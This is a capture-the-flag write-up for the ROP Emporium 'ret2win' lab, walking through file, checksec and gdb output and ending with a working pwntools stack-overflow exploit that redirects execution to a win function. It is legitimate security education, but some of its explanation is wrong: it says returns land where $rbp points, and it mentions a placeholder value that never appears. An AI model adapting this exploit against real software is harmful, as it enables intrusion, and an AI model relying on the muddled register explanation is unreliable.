ROPemporium | ret2win

I know that I just said i would explain ROP, but before we get into that.
Let us quickly brushup on what a buffer overflow is.

According to the very first paragraph on wikipedia:

In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

So buffer overflows happens when it is possible to put more data into a variable thereby overwriting other memory adresses.

But why is this dangerous??

Because we can manipulate the content in the different registers.
And through this execute abitriary code.

Again this was a veeeery short overview, if you want to read more about buffer overflows, and I recommend that you do, here is a list of resources on the subject:

Rapid7 - Stack-Based

Explained with Examples

0xrick

Look at his basic binary series

Tzaoh's pwning list

Huge list of resources on all kinds of exploitation

pwn.college

A free and opensource exploitation course

Eventually I'll create a series focused just on buffer overflows, but for now you'll have to make do.

Again we look towards Wikipedia for more knowledge.
The first paragraph on Wikipedia:

Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.

The basic principle for ROP is that we can control which function we return to when we land on a ret instruction.
There is also the topic of gadgets, but I'll explain that in the split write-up.

But how does one control which the software will return to?

That is exactly what this challenge is about.

The first thing you should do with any compiled binary that you want to pwn(professionel language for defeating security), is to run the file command on the the binary.

┌────[~/ha/bi/ropemporium/ret2win on  master [?]
└─>file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

What this tells us is that the binary ret2win is a 64-bit ELF file.

It is not stripped, which means that if there is any debugging information in the code, we should be able to see it.
It also means symbols are left in so we can see function names.

After looking at what file gives outputs, the next nifty tool we should use is: checksec.
It is a part of pwntools, a CTF framework and exploit development library, and can tell us about what kind of security measures that the binary is compiled with.

┌────[~/ha/bi/ropemporium/ret2win on  master [?]
└─>checksec ret2win
[*] '/home/c3lphie/hacking/binary_exploitation/ropemporium/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Here we see that there is basically no security measures put in place… Which one would expect on the very first challenge.
But what is it that we see here?

Arch

This is the Architecture for which the binary was compiled for. In this case we see that it is amd64-64-little I'll break this down further in a minute.

RELRO

A security measure which makes some binary sections read-only. Partial RELRO means basically nothing for us. Full RELRO is a lot more secure, but I'll tackle this when I encounter it.

Stack

This tells us if there are any canaries compiled into the binary. Canaries are a security measure that protect from stack smashing attacks… Like what we're doing here. Not that they can't be handled

NX

A technology which splits the areas of memory up so that data can't be executed. This is the security measure we bypass using ROP

PIE

If this was enabled, the binary would have been loaded randomly into memory making it harder to exploit. But this is not something we need to worry about.

The architecture this binary was compiled for was amd64-64-little, let's split this up into two.
amd64-64 means that it's for a 64 bit system.
-little tells us that is for a little endian system.
Which you can read more about here.

Now there are probably a ton of other tools that you could use to find other things about the binary.
But at this point I know enough about the target for now.

I have chosen Binary ninja for reverse engineering software.
But use what-ever you're most comfortable in, and if you don't have the economy to buy a piece of software, then there are opensource software available like cutter or ghidra(if you're not afraid of the NSA ;)).

As I wrote earlier we need to do a bufferoverflow.
We know that from Binary Ninja that we have an input buffer that is 32 bytes long.
But the read function can read up to 56 bytes into the buffer.

So lets see what happen if we put a bunch of data into the buffer!

┌────[~/ha/bi/ropemporium/ret2win on  master [?]
└─>./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
zsh: segmentation fault (core dumped)  ./ret2win

And we crashed!
But why?

If we try again, but run ret2win with gdb attached we can see what happens to the registers.
I have set a break point on the leave instruction just before the ret instruction.
And a couple of instructions before the read call.

If we look at the registers before read.

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x2
$rbx   : 0x0000000000400780  →  <__libc_csu_init+0> push r15
$rcx   : 0x0
$rdx   : 0x0
$rsp   : 0x00007fffffffe040  →  0x0000000000000000
$rbp   : 0x00007fffffffe060  →  0x00007fffffffe070  →  0x0000000000000000
$rsi   : 0x00007fffffffbf20  →  0x000000000000203e ("> "?)
$rdi   : 0x00007ffff7f8f4d0  →  0x0000000000000000
$rip   : 0x0000000000400733  →  <pwnme+75> lea rax, [rbp-0x20]
$r8    : 0x60
$r9    : 0x00007ffff7fdc070  →  <_dl_fini+0> endbr64
$r10   : 0x0000000000400918  →  0x6b6e61685400203e ("> "?)
$r11   : 0x246
$r12   : 0x00000000004005b0  →  <_start+0> xor ebp, ebp
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

The two registers we are interested in are $rsp and $rbp.

$rsp is the stack pointer, it points to addresses in the stack where the buffer is stored.
$rbp is the base pointer, it points to the memory address which is the "base" for the function.
When returning from a function, we will land where $rbp points to.

So lets crash this program!

gef➤  run
Starting program: /home/c3lphie/hacking/binary_exploitation/ropemporium/ret2win/ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Here I just run it in GDB, and wrote a bunch of A's before hitting enter.
Don't mind the gef➤ prompt, that is just a gdb extension which makes exploit development easier.

Below you can see the content of the registers after the crash.

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xb
$rbx   : 0x0000000000400780  →  <__libc_csu_init+0> push r15
$rcx   : 0x00007ffff7ebb0f7  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffe040  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp   : 0x00007fffffffe060  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007ffff7f8d5a3  →  0xf8f4d0000000000a
$rdi   : 0x00007ffff7f8f4d0  →  0x0000000000000000
$rip   : 0x0000000000400754  →  <pwnme+108> leave
$r8    : 0xb
$r9    : 0x00007ffff7fdc070  →  <_dl_fini+0> endbr64
$r10   : 0xfffffffffffffb8b
$r11   : 0x246
$r12   : 0x00000000004005b0  →  <_start+0> xor ebp, ebp
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

The hexadecimal value for A is 0x41 when ascii encoded.
And as you can see we managed to overwrite $rbp, so now we just need to control $rbp to point to the ret2win function.

To do this we need to figure out how much data to insert before address.

Since we already know which function we need to execute, and the binary doesn't have PIE enabled, I went ahead and grabbed the address from Binary Ninja.

So know that we have control over the base pointer let's make it point towards ret2win and finish this challenge.

from pwn import *

context.update(arch="amd64", os="linux")
proc = process("./ret2win")

def send_recv(buffer: bytes):
    proc.recvuntil(b">")
    proc.sendline(buffer)
    return proc.recvline()


ret2win_addr = 0x400756


payload = cyclic(cyclic_find(0x6161616B))
payload += p64(ret2win_addr)

send_recv(payload)
proc.interactive()

As you can see instead of 0xdeadbeefcafebabe we just use ret2win_addr.
And if we run the script:

┌────[~/ha/bi/ropemporium/ret2win on  master [?]
└─>python exploit.py
[+] Starting local process './ret2win': pid 170719
[*] Switching to interactive mode
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 170719)
[*] Got EOF while sending in interactive